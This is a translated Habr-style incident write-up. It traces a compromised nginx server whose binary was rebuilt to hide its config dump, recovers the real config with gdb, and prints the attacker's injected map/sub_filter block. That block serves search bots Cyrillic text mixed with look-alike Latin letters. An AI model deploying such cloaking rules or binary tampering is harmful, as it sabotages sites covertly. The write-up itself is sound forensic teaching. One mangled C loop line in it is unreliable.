Când ‘a’ nu este egal cu ‘a’. Pe urmele unei breșe.

O poveste extrem de neplăcută s-a întâmplat cu un cunoscut de-al meu. Dar, cât de neplăcută a fost pentru Mihail, la fel de captivantă a fost pentru mine.

Trebuie spus că prietenul meu este destul de UNIX-utilizator: poate instala singur sistemul, configura mysql, php și face cele mai simple setări. nginx.
Și are cam o duzină de site-uri dedicate uneltelor de construcție.

Unul dintre aceste site-uri, dedicat feronerie, este bine clasat în TOPul motoarelor de căutare. Acest site - un ghid necomercial, dar cineva s-a simțit deranjat și a început să-l atace. Fie DDoS, fie prin brute force, fie că lasă comentarii indecente și trimit abuzuri la hosting și la RKN.
Dintr-o dată, totul s-a liniștit și această liniște s-a dovedit a fi de rău augur, iar site-ul a început treptat să părăsească primele poziții în căutări.

Când 'a' nu este egal cu 'а'. Pe urmele unei spargeri

Asta a fost o introducere, acum povestea administrativă.

Era aproape de miezul nopții când a sunat telefonul: „Sany, nu poți să verifici serverul meu? Mi se pare că am fost hacked, nu pot dovedi, dar sentimentul nu mă părăsește de trei săptămâni. Poate că ar trebui să mă tratez de paranoia?”

Discuția care a urmat a durat o jumătate de oră și poate fi rezumată astfel:

  • terenul pentru atac era destul de fertil;
  • atacatorul ar fi putut obține privilegii de superutilizator;
  • atacul (dacă a avut loc) a fost țintit specific pe acest site;
  • locurile problematice au fost corectate și trebuie doar să înțelegem dacă a fost într-adevăr o breșă;
  • atacul nu a putut afecta codul site-ului și bazele de date.

În ceea ce privește ultimul punct.

Când 'a' nu este egal cu 'а'. Pe urmele unei spargeri

În lume privește doar IP-ul alb al frontend-ului. Între backend-uri și frontend nu există nicio comunicare în afară de http(s), utilizatorii/parolele sunt diferite, cheile nu au fost schimbate. La adresele gri, toate porturile, cu excepția 80/443, sunt închise. IP-urile albe ale backend-urilor sunt cunoscute doar de două utilizatori, cărora Mihail le acordă în totalitate încredere.

Pe frontend este instalat Debian 9 și, la momentul apelului, sistemul era izolat de lume printr-un firewall extern și oprit.

„Ok, dă-mi permisiunile, - decid să amân somnul pentru o oră. - Voi verifica cu ochii mei.”

Aici și mai departe:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

În căutarea unei posibile breșe

Pornesc serverul, mai întâi în rescue-mode. Montez discurile, derulez prin auth-jurnale, history, sistemele de logare etc., încerc să verific datele de creare ale fișierelor, deși înțeleg că un hacker experimentat ar fi șters urmele, iar Misha a lăsat și el destule dovezi în urma căutărilor sale.

Îmi încep analiza în mod normal, fără a ști exact ce să caut, studiez config-urile. În primul rând, mă interesează nginx deoarece, în general, pe partea de frontend, acesta este singurul.
Config-urile sunt mici, bine structurate în câteva zeci de fișiere, le parcurg doar cat’pe rând. Pare totul în regulă, dar cine știe, poate am omis ceva include, așa că voi face o listare completă:

$ nginx -T
nginx: fișierul de configurare /usr/local/etc/nginx/nginx.conf este în regulă
nginx: testul fișierului de configurare /usr/local/etc/nginx/nginx.conf a avut succes

Nu am înțeles: „Unde e listarea?”

$ nginx -V
versiunea nginx: nginx/1.10.3
Suport pentru TLS SNI activat
argumente de configurare: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Se mai adaugă o întrebare la listare: „De ce este o versiune atât de veche de nginx?”

În plus, sistemul consideră că versiunea instalată este mai recentă:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx 1.14.2-2+deb10u1 all server web/proxy mic, puternic, scalabil

Sunați:
— Misha, de ce ai recompilat nginx?
— Liniștește-te, nu știu nici măcar cum să fac asta!
— Ok, bine, dormi...

Nginx cu siguranță a fost recompilat, iar ieșirea listării prin „-T” este ascunsă cu un scop. Nu mai am nicio îndoială că a avut loc o breșă și pot accepta asta, iar (deoarece Misha oricum a înlocuit serverul) pot considera problema rezolvată.

Și într-adevăr, dacă cineva a obținut acces root‘a, merită să facem doar system reinstall, căutând ce a fost stricat nu are sens, dar de data aceasta curiozitatea a biruit somnul. Cum aș putea ști ce au vrut să ne ascundă?

Vom încerca să facem o urmărire:

$ strace nginx -T

Privind, în urmărire, lipsesc clar liniile de tipul

write(1, "/etc/nginx/nginx.conf", 21) = 21
write(1, "...
write(1, "n", 1

Din curiozitate, comparăm ieșirile

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Cred că o parte din cod /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

a fost adus în forma:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                
                break;

sau

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

de aceea listarea cu „-T” nu apare.

Dar cum putem să ne uităm la configurația noastră?

Dacă gândul meu este corect și problema este doar la variabila ngx_dump_config să încercăm să o setăm cu ajutorul gdb, din fericire cheia —with-cc-opt -g este prezentă și sperăm că optimizarea -O2 nu ne va deranja. Fiindcă nu știu cum ngx_dump_config ar putea fi procesată în case ‘T’:, nu vom apela acest bloc, ci o vom seta folosind case ‘t’:

De ce se poate folosi ‘-t’ la fel ca ‘-T’Procesarea blocului if(ngx_dump_config) are loc în interiorul if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "fișierul de configurare %s testul a fost de succes",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i config_dump.nelts; i++) {

                ngx_write_stdout("# fișier de configurare ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Desigur, dacă codul a fost modificat în această parte, și nu în case ‘T’:, metoda mea nu va funcționa.

Test nginx.confDupă ce problema a fost soluționată prin experiență, s-a constatat că pentru funcționarea malware-ului este necesară o configurație minimă nginx de forma:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Aceasta o vom folosi pentru concizie în articol.

Pornim debuggerul

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Pas cu pas:

  • stabilim un punct de oprire în funcție main()
  • pornim programul
  • modificăm valoarea variabilei care determină ieșirea configurației ngx_dump_config=1
  • continuăm/terminăm programul

După cum putem observa, configurația reală diferă de a noastră, extragem din ea un fragment parazitar:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Să analizăm în ordine ce se întâmplă aici.

Se determină User-Agent‘yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Se exclude paginile de serviciu wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Și pentru cei care se încadrează în ambele condiții menționate mai sus

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

în text html-paginile se modifică ‘о’ pe ‘o’ și ‘а’ pe ‘a’:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Așa este, subtilitatea este că ‘а’ != ‘a’ la fel ca și ‘о’ != ‘o’:

Când 'a' nu este egal cu 'а'. Pe urmele unei spargeri

Astfel, roboții motoarelor de căutare primesc, în loc de un text normal 100%-cyrilic, o mizerie modificată stropită cu litere latine. ‘a’ și ‘o’. Nu mă aventurez să speculez cum afectează acest lucru SEO, dar cu siguranță această amestecare de litere nu va avea un impact pozitiv asupra pozițiilor în rezultate.

Ce să spun, oameni cu imaginație.

Linkuri

Depanarea cu GDB
gdb(1) — pagina de manual Linux
strace(1) — pagina de manual Linux
Nginx — Modul ngx_http_sub_module
Despre ferăstraie, ferăstraie cu motor și ferăstraie electrice

Sursa: habr.com

Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS 🔥 Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS | ProHoster